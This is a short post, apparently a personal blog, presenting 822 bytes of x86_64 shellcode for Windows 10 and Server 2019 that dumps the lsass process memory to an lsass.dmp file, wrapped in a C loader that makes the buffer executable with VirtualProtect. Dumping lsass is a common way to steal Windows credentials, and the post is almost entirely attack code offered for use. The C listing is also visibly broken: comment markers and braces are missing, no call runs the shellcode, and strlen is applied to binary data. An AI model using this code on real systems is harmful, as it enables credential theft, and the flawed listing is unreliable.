Shellcode to Dump the Lsass Process

Here’s the shellcode I wrote for curiosity and ended up working nicely ๐Ÿ™‚

This shellcode is for Windows 10 and Server 2019 x86_64.

# include <stdio.h>
# include <string.h>
# include <windows.h>
 * Title: Shellcode to dump the lsass process
 * Works only on Windows 10 and Windows Server 2019
 * Arch: x86_64
 * Author: Osanda Malith Jayathissa (@OsandaMalith)
 * Website:    
 * Date: 11/05/2019
int main() {

	unsigned char shellcode[822] = {
		0xE9, 0x1B, 0x03, 0x00, 0x00, 0xCC, 0xCC, 0xCC, 0x48, 0x89, 0x5C, 0x24, 0x08, 0x48, 0x89, 0x74,
		0x24, 0x10, 0x57, 0x48, 0x83, 0xEC, 0x10, 0x65, 0x48, 0x8B, 0x04, 0x25, 0x60, 0x00, 0x00, 0x00,
		0x8B, 0xF1, 0x48, 0x8B, 0x50, 0x18, 0x4C, 0x8B, 0x4A, 0x10, 0x4D, 0x8B, 0x41, 0x30, 0x4D, 0x85,
		0xC0, 0x0F, 0x84, 0xB8, 0x00, 0x00, 0x00, 0x41, 0x0F, 0x10, 0x41, 0x58, 0x49, 0x63, 0x40, 0x3C,
		0x4D, 0x8B, 0x09, 0x42, 0x8B, 0x9C, 0x00, 0x88, 0x00, 0x00, 0x00, 0x33, 0xD2, 0xF3, 0x0F, 0x7F,
		0x04, 0x24, 0x85, 0xDB, 0x74, 0xD4, 0x48, 0x8B, 0x04, 0x24, 0x48, 0xC1, 0xE8, 0x10, 0x44, 0x0F,
		0xB7, 0xD0, 0x45, 0x85, 0xD2, 0x74, 0x20, 0x48, 0x8B, 0x4C, 0x24, 0x08, 0x45, 0x8B, 0xDA, 0xC1,
		0xCA, 0x0D, 0x80, 0x39, 0x61, 0x0F, 0xBE, 0x01, 0x7C, 0x03, 0x83, 0xC2, 0xE0, 0x03, 0xD0, 0x48,
		0xFF, 0xC1, 0x49, 0xFF, 0xCB, 0x75, 0xE8, 0x4D, 0x8D, 0x14, 0x18, 0x33, 0xC9, 0x41, 0x8B, 0x7A,
		0x20, 0x49, 0x03, 0xF8, 0x41, 0x39, 0x4A, 0x18, 0x76, 0x90, 0x8B, 0x1F, 0x45, 0x33, 0xDB, 0x48,
		0x8D, 0x7F, 0x04, 0x49, 0x03, 0xD8, 0x41, 0xC1, 0xCB, 0x0D, 0x0F, 0xBE, 0x03, 0x48, 0xFF, 0xC3,
		0x44, 0x03, 0xD8, 0x80, 0x7B, 0xFF, 0x00, 0x75, 0xED, 0x41, 0x8D, 0x04, 0x13, 0x3B, 0xC6, 0x74,
		0x0D, 0xFF, 0xC1, 0x41, 0x3B, 0x4A, 0x18, 0x72, 0xD1, 0xE9, 0x5C, 0xFF, 0xFF, 0xFF, 0x41, 0x8B,
		0x42, 0x24, 0x03, 0xC9, 0x49, 0x03, 0xC0, 0x0F, 0xB7, 0x04, 0x01, 0x41, 0x8B, 0x4A, 0x1C, 0xC1,
		0xE0, 0x02, 0x48, 0x98, 0x49, 0x03, 0xC0, 0x8B, 0x04, 0x01, 0x49, 0x03, 0xC0, 0xEB, 0x02, 0x33,
		0xC0, 0x48, 0x8B, 0x5C, 0x24, 0x20, 0x48, 0x8B, 0x74, 0x24, 0x28, 0x48, 0x83, 0xC4, 0x10, 0x5F,
		0xC3, 0xCC, 0xCC, 0xCC, 0x40, 0x55, 0x53, 0x56, 0x57, 0x41, 0x54, 0x41, 0x55, 0x41, 0x56, 0x41,
		0x57, 0x48, 0x8D, 0xAC, 0x24, 0x28, 0xFF, 0xFF, 0xFF, 0x48, 0x81, 0xEC, 0xD8, 0x01, 0x00, 0x00,
		0x33, 0xC0, 0x48, 0x8D, 0x7D, 0xA0, 0xB9, 0x30, 0x01, 0x00, 0x00, 0xF3, 0xAA, 0x45, 0x33, 0xF6,
		0xB9, 0x4C, 0x77, 0x26, 0x07, 0xC7, 0x45, 0x80, 0x6B, 0x65, 0x72, 0x6E, 0xC7, 0x45, 0x84, 0x65,
		0x6C, 0x33, 0x32, 0xC7, 0x45, 0x88, 0x2E, 0x64, 0x6C, 0x6C, 0x44, 0x88, 0x75, 0x8C, 0xC7, 0x44,
		0x24, 0x70, 0x64, 0x62, 0x67, 0x63, 0xC7, 0x44, 0x24, 0x74, 0x6F, 0x72, 0x65, 0x2E, 0xC7, 0x44,
		0x24, 0x78, 0x64, 0x6C, 0x6C, 0x00, 0xC7, 0x44, 0x24, 0x60, 0x6E, 0x74, 0x64, 0x6C, 0xC7, 0x44,
		0x24, 0x64, 0x6C, 0x2E, 0x64, 0x6C, 0x66, 0xC7, 0x44, 0x24, 0x68, 0x6C, 0x00, 0xC7, 0x44, 0x24,
		0x50, 0x6C, 0x73, 0x61, 0x73, 0xC7, 0x44, 0x24, 0x54, 0x73, 0x2E, 0x64, 0x6D, 0x66, 0xC7, 0x44,
		0x24, 0x58, 0x70, 0x00, 0xC7, 0x44, 0x24, 0x40, 0x6C, 0x73, 0x61, 0x73, 0xC7, 0x44, 0x24, 0x44,
		0x73, 0x2E, 0x65, 0x78, 0x66, 0xC7, 0x44, 0x24, 0x48, 0x65, 0x00, 0xC6, 0x85, 0x20, 0x01, 0x00,
		0x00, 0x61, 0xE8, 0x51, 0xFE, 0xFF, 0xFF, 0x48, 0x8D, 0x4D, 0x80, 0x48, 0x8B, 0xF8, 0xFF, 0xD7,
		0x48, 0x8D, 0x4C, 0x24, 0x70, 0xFF, 0xD7, 0x48, 0x8D, 0x4C, 0x24, 0x60, 0xFF, 0xD7, 0xB9, 0x80,
		0x39, 0x1E, 0x92, 0xE8, 0x30, 0xFE, 0xFF, 0xFF, 0xB9, 0xDA, 0xF6, 0xDA, 0x4F, 0x48, 0x8B, 0xF0,
		0xE8, 0x23, 0xFE, 0xFF, 0xFF, 0xB9, 0x27, 0xA9, 0xE8, 0x67, 0x48, 0x8B, 0xF8, 0xE8, 0x16, 0xFE,
		0xFF, 0xFF, 0xB9, 0x8D, 0x52, 0x01, 0xBD, 0x48, 0x8B, 0xD8, 0xE8, 0x09, 0xFE, 0xFF, 0xFF, 0xB9,
		0x74, 0x71, 0x8D, 0xDC, 0x4C, 0x8B, 0xE0, 0xE8, 0xFC, 0xFD, 0xFF, 0xFF, 0xB9, 0xB4, 0x73, 0x8D,
		0xE2, 0x4C, 0x8B, 0xF8, 0xE8, 0xEF, 0xFD, 0xFF, 0xFF, 0xB9, 0xEE, 0x95, 0xB6, 0x50, 0x4C, 0x8B,
		0xE8, 0xE8, 0xE2, 0xFD, 0xFF, 0xFF, 0xB9, 0x3D, 0xD7, 0xC8, 0x6E, 0x48, 0x89, 0x85, 0x30, 0x01,
		0x00, 0x00, 0xE8, 0xD1, 0xFD, 0xFF, 0xFF, 0xB9, 0x7A, 0x19, 0x77, 0x6A, 0x48, 0x89, 0x45, 0x90,
		0xE8, 0xC3, 0xFD, 0xFF, 0xFF, 0x4C, 0x8D, 0x8D, 0x28, 0x01, 0x00, 0x00, 0x41, 0x8D, 0x4E, 0x14,
		0x45, 0x33, 0xC0, 0xB2, 0x01, 0xFF, 0xD0, 0x4C, 0x21, 0x74, 0x24, 0x30, 0x48, 0x8D, 0x4C, 0x24,
		0x50, 0x45, 0x33, 0xC9, 0x45, 0x33, 0xC0, 0xBA, 0x00, 0x00, 0x00, 0x10, 0xC7, 0x44, 0x24, 0x28,
		0x80, 0x00, 0x00, 0x00, 0xC7, 0x44, 0x24, 0x20, 0x02, 0x00, 0x00, 0x00, 0xFF, 0xD7, 0x33, 0xD2,
		0x48, 0x89, 0x85, 0x38, 0x01, 0x00, 0x00, 0x8D, 0x4A, 0x02, 0xFF, 0xD6, 0x48, 0x8D, 0x55, 0xA0,
		0xC7, 0x45, 0xA0, 0x30, 0x01, 0x00, 0x00, 0x48, 0x8B, 0xC8, 0x48, 0x8B, 0xF8, 0xFF, 0xD3, 0x33,
		0xDB, 0x85, 0xC0, 0x74, 0x31, 0xEB, 0x1C, 0x48, 0x8D, 0x55, 0xA0, 0x48, 0x8B, 0xCF, 0x41, 0xFF,
		0xD4, 0x48, 0x8D, 0x55, 0xCC, 0x48, 0x8D, 0x8D, 0x20, 0x01, 0x00, 0x00, 0x41, 0xFF, 0xD5, 0x44,
		0x8B, 0x75, 0xA8, 0x48, 0x8D, 0x54, 0x24, 0x40, 0x48, 0x8D, 0x8D, 0x20, 0x01, 0x00, 0x00, 0x41,
		0xFF, 0xD7, 0x85, 0xC0, 0x75, 0xD1, 0x45, 0x8B, 0xC6, 0x33, 0xD2, 0xB9, 0xFF, 0xFF, 0x1F, 0x00,
		0xFF, 0x95, 0x30, 0x01, 0x00, 0x00, 0x4C, 0x8B, 0x85, 0x38, 0x01, 0x00, 0x00, 0x48, 0x89, 0x5C,
		0x24, 0x30, 0x48, 0x8B, 0xC8, 0x41, 0xB9, 0x02, 0x00, 0x00, 0x00, 0x41, 0x8B, 0xD6, 0x48, 0x89,
		0x5C, 0x24, 0x28, 0x48, 0x89, 0x5C, 0x24, 0x20, 0xFF, 0x55, 0x90, 0x48, 0x81, 0xC4, 0xD8, 0x01,
		0x00, 0x00, 0x41, 0x5F, 0x41, 0x5E, 0x41, 0x5D, 0x41, 0x5C, 0x5F, 0x5E, 0x5B, 0x5D, 0xC3, 0xCC,
		0x56, 0x48, 0x8B, 0xF4, 0x48, 0x83, 0xE4, 0xF0, 0x48, 0x83, 0xEC, 0x20, 0xE8, 0xD3, 0xFD, 0xFF,
		0xFF, 0x48, 0x8B, 0xE6, 0x5E, 0xC3
    DWORD oldProtect;
    BOOL ret = VirtualProtect (shellcode, strlen(shellcode), PAGE_EXECUTE_READWRITE, &oldProtect);
    if (!ret) {
        fprintf(stderr, "%s", "Error Occured");
        return EXIT_FAILURE;
    VirtualProtect (shellcode, strlen(shellcode), oldProtect, &oldProtect);
    return EXIT_SUCCESS;